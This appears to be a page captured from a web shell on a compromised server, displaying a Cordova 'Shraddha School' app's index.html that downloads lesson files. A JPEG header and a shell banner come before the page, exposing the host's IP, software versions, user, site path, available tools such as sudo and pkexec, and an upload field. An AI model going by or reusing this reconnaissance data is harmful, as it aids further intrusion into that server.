????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.55 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/apps/school/www_old2/ |
Upload File : |
<!DOCTYPE html>
<html>
<head>
<meta id="id_meta" charset="utf-8"/>
<title>index.html</title>
<style>
#shared_style_messagebox_background
{
background:-webkit-linear-gradient(yellow, red);
border-radius: 23px;
box-shadow: 25px 25px 10px #888888;
opacity: 0.9;
}
.shared_style_buttonsFooter
{
width: 60px;
height: 55px;
font-size: 20px;
text-align: center;
border-radius: 28px;
background-image: -webkit-linear-gradient(yellow, green); /* For Safari 5.1 to 6.0 */
background-image: -o-linear-gradient(yellow, green); /* For Opera 11.1 to 12.0 */
background-image: -moz-linear-gradient(yellow, green); /* For Firefox 3.6 to 15 */
background-image: linear-gradient(yellow, green); /* Standard syntax */
}
</style>
<script type="text/javascript" src="downloadFiles.js"></script>
<script src="js/topmostInfo.js" type="text/javascript"></script>
<script src="js/enumsClasses.js" type="text/javascript"></script>
<script src="js/shared_funtions.js" type="text/javascript"></script>
<script src="js/WebkitDragAndDrop.js" type="text/javascript"></script>
<script type="text/javascript" charset="utf-8">
var _pathProjectFiles = '';
var _nthFileIsDownloading = 0;
var _nFilesToDownload;
var _eProgressBar;
var _eMessage = '';
var _downloadFailedCount = 0;
document.addEventListener("deviceready", onDeviceReady, true);
function onDeviceReady()
{
var parentLocation = window.parent.location.toString();
if (_pathProjectFiles == '')
{
var parentLocation = window.parent.location.toString();
parentLocation = parentLocation.substring(0, parentLocation.lastIndexOf('/'));//Get ProjectFiles/www path by removing index.html.
parentLocation = parentLocation.substring(0, parentLocation.lastIndexOf('/'));//Get ProjectFiles path.
parentLocation = parentLocation.replace('file://', '');//Remove prefix
parentLocation = parentLocation.replace(/%20/g, ' ');//Replace %20 with ' '
_pathProjectFiles = parentLocation + '/';
}
downloadFilesAsPerLocalFileVersionsInfoXmlExist();
}
function page_onLoad()
{
shared_set_debugInfo(Level.None, Category.None);
shared_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta');
}
function downloadFilesAsPerLocalFileVersionsInfoXmlExist()
{
window.requestFileSystem = window.requestFileSystem || window.webkitRequestFileSystem;
var PERSISTENT = LocalFileSystem.PERSISTENT || window.PERSISTENT;
window.requestFileSystem(PERSISTENT, 1024*1024, onRequestFileSystemSuccess, onRequestFileSystemFail);
function onRequestFileSystemSuccess(fileSystem)
{
var localFileVersions = 'ProjectFiles/www/LocalFileVersionsInfo.xml';
fileSystem.root.getFile(localFileVersions, {create: false, exclusive: false}, getFileSuccess, getFileFail);
function getFileSuccess(fileEntry)//Compare with local file and download files.
{
var pArrayFiles = shared_download_compareLocalAndServerFileVersions();
_nFilesToDownload = pArrayFiles.length;
if (pArrayFiles.length != 0)
{
downloadContents(pArrayFiles);
}
else
{
window.location = _pathProjectFiles + 'www/levels.html';
}
}
function getFileFail(error)//Download all files.
{
var pArrayFiles = shared_download_allFilesFromServerFileVersionsInfoXml();
_nFilesToDownload = pArrayFiles.length;
if (pArrayFiles.length != 0)
{
downloadContents(pArrayFiles);
}
}
}
function onRequestFileSystemFail(error)
{
return (false);
}
}
function downloadContents(pArrayFiles)
{
window.requestFileSystem = window.requestFileSystem || window.webkitRequestFileSystem;
var PERSISTENT = LocalFileSystem.PERSISTENT || window.PERSISTENT;
window.requestFileSystem(PERSISTENT, 1024*1024, onRequestFileSystemSuccess, onRequestFileSystemFail);
function onRequestFileSystemSuccess(fileSystem)
{
_downloadFailedCount = 0;
var fileTransfer = new FileTransfer();
showProgressBar();
downloadSingleFile(pArrayFiles);
function downloadSuccess(entry)
{
_nthFileIsDownloading++;
increaseProgress();
if (_nthFileIsDownloading == _nFilesToDownload)
{
hide_message_info();
copyServerFileVersionsInfoXmlToLocalFile();
window.location = _pathProjectFiles + 'www/levels.html';
}
else
{
downloadSingleFile(pArrayFiles);
}
}
function downloadFail(error)
{
_downloadFailedCount++;
if (_downloadFailedCount <= 10)
{
downloadSingleFile(pArrayFiles);
}
else
{
alert('Download failed! \nMay be there is no network...\nError occured at: ' + error.source);
}
}
function downloadSingleFile(pArrayFiles)
{
var file = pArrayFiles[_nthFileIsDownloading];
var inputUrl = 'http://appsrv.astacus.se/apps/school/' + file;
var outputFile = _pathProjectFiles + file;
fileTransfer.download(inputUrl, outputFile, downloadSuccess, downloadFail);
}
}
function onRequestFileSystemFail(error)
{
}
}
function showProgressBar()
{
var message = 'Downloading latest files...';
show_progress_dialog('Shraddha School', message);
_eProgressBar = document.getElementById('id_progressBar');
_eMessage = document.getElementById('id_message');
}
function increaseProgress()
{
var innerHtml = '<p>Downloading latest files \t' + _nthFileIsDownloading + ' of ' + _nFilesToDownload + '</p>';
_eMessage.innerHTML = innerHtml;
_eProgressBar.value = _nthFileIsDownloading / _nFilesToDownload;
}
function copyServerFileVersionsInfoXmlToLocalFile()
{
deleteFile('/ProjectFiles/www/LocalFileVersionsInfo.xml');
var fileSource = '/ProjectFiles/www/ServerFileVersionsInfo.xml';
var fileDestination = '/ProjectFiles/www/LocalFileVersionsInfo.xml';
copyFile(fileSource, fileDestination);
}
function deleteFile(fileToDelete)
{
window.requestFileSystem = window.requestFileSystem || window.webkitRequestFileSystem;
var PERSISTENT = LocalFileSystem.PERSISTENT || window.PERSISTENT;
window.requestFileSystem(PERSISTENT, 1024*1024, onRequestFileSystemSuccess, onRequestFileSystemFail);
function onRequestFileSystemSuccess(fileSystem)
{
fileSystem.root.getFile(fileToDelete, {create: false, exclusive: false}, getFileSuccess, getFileFail);
function getFileSuccess(fileEntry)
{
fileEntry.remove(deleteSuccess, deleteFail);
function deleteSuccess()
{
}
function deleteFail(error)
{
}
}
function getFileFail(error)
{
}
}
function onRequestFileSystemFail(error)
{
}
}
function copyFile(fileSource, fileDestination)
{
window.requestFileSystem = window.requestFileSystem || window.webkitRequestFileSystem;
var PERSISTENT = LocalFileSystem.PERSISTENT || window.PERSISTENT;
window.requestFileSystem(PERSISTENT, 1024*1024, onRequestFileSystemSuccess, onRequestFileSystemFail);
function onRequestFileSystemSuccess(fileSystem)
{
fileSystem.root.getFile(fileSource, {create: false, exclusive: false}, getFileSuccess, getFileFail);
function getFileSuccess(fileEntry)
{
fileEntry.copyTo(fileSystem.root, fileDestination, copySuccess, copyFail);
function copySuccess()
{
}
function copyFail(error)
{
}
}
function getFileFail(error)
{
}
}
function onRequestFileSystemFail(error)
{
}
}
function show_progress_dialog(title, message)
{
var deviceType = shared_getDeviceType();
var innerHtml = '';
innerHtml += ' <div style="position: absolute; text-align:center;z-index: 99;">';
innerHtml += ' <table border="0" cellspacing="0" cellpadding="0" width=' + id_tblMainiPadBody.style.width + ' height=' + id_tblMainiPadBody.style.height + ' style="position: absolute;">';//table1
innerHtml += ' <tr>';
innerHtml += ' <td align="center" style="border:none;">';
innerHtml += ' <table width="320" height="220" border="0" cellspacing="0" cellpadding="0">';//table2
innerHtml += ' <tr>';
innerHtml += ' <td id="shared_style_messagebox_background" align="center">';
innerHtml += ' <table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border:none">';//table3
innerHtml += ' <tr height="20%">';//tr1
innerHtml += ' <td align="center" style="border:none">';
innerHtml += ' <span><h1>' + title + '</h1></span>';
innerHtml += ' </td">';
innerHtml += ' </tr>';
innerHtml += ' <tr height="*">';//tr2
innerHtml += ' <td align="center" style="border-left:none;border-right:none;">';
innerHtml += ' <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="5" style="border:none">';//table5
innerHtml += ' <tr>';
innerHtml += ' <td align="center" style="border:none; font-size:20px">';
innerHtml += ' <p id="id_message">' + message + '</p>';
innerHtml += ' </td>';
innerHtml += ' </tr>';
innerHtml += ' </table>';//table5
innerHtml += ' </td>';
innerHtml += ' </tr>';
innerHtml += ' <tr height="20%">';//tr3
if (deviceType == shared_DeviceTypeAndroid)
{
innerHtml += ' <td align="center" style="border-bottom:none;border-left:none;border-right:none; padding:5px">';
}
else
{
innerHtml += ' <td align="center" style="border:none; padding:5px">';
}
innerHtml += ' <table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border:none">';//table6
innerHtml += ' <tr>';
innerHtml += ' <td align="center" style="border:none;">';
innerHtml += ' <progress id="id_progressBar" value="0" style="width: 250px"></progress>';//Progress bar
innerHtml += ' </td>';
innerHtml += ' </tr>';
innerHtml += ' </table>';//table6
innerHtml += ' </td>';
innerHtml += ' </tr>';
innerHtml += ' </table>';//table3
innerHtml += ' </td>';
innerHtml += ' </tr>';
innerHtml += ' </table>';//table2
innerHtml += ' </td>';
innerHtml += ' </tr>';
innerHtml += ' </table>';//table1
innerHtml += ' </div>';
var eDiv = document.getElementById('shared_id_div_message');
eDiv.innerHTML = innerHtml;
}
function hide_message_info()
{
var eDiv = document.getElementById('shared_id_div_message');
eDiv.hidden = true;
}
function cancel_message_info()
{
hide_message_info();
}
</script>
</head>
<body onLoad="page_onLoad()">
<div id="shared_id_div_message">
</div>
<table id="id_tblMainiPadBody" border="1" cellspacing="0" cellpadding="0">
<tr height="50%">
<td style="border-bottom: 0px">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr height="5%">
<td align="center" valign="center">
<img src="schoolImage.png"/>
<h1 style="color: brown">Welcome to Shraddha school</h1>
</td>
</tr>
</table>
</td>
</tr>
<tr height="*">
<td style="border-top: 0px"> </td>
</tr>
</table>
<script type="text/javascript" src="cordova.js"></script>
<script type="text/javascript" src="js/index.js"></script>
<script type="text/javascript">
app.initialize();
</script>
</body>
</html>